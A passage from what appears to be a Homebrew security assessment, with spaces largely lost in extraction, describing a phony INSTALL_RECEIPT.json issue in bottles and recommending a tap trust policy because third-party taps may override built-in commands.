Thismayallowanattackerwiththeabilitytoinsertcontrivedbottlestointroducea phony INSTALL\_RECEIPT.json

atanypaththatistwodirectoriesdeep,resulting insubsequentmetadata confusionwhereverthebottle's Tab

isloaded.Whilewe wereunabletodeterminean immediate securityimplicationforthis,we

recommendeliminatingthisflexibilityandensuringthateverybottlecontains exactlyone

INSTALL\_RECEIPT.json ataspecific,expectedpath. hashey 63HomebrewSecurityAssessment

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### 4. Defineataptrustpolicy.Becausetapsaretrustedtorunarbitrarycodeand

arbitraryformulae,expectationsaboutwhentheyrunarbitrarycodearecurrently murky:auserwhoperforms

brewtapexample/example mayormaynotexpect

thetapoperationitselftobecapableofrunningarbitrarycode,ofinjectingor overriding brew

subcommands,etc.Asanexampleofthis,wefoundthata third-partytapmaybeabletooverrideinternaland"first-

party"commandsdueto Array#sort notguaranteeingastablesort:

```
defself.commands(external:true,aliases:false) cmds=internal_commands
```

```
cmds+=internal_developer_commands cmds+=external_commandsifexternal
```

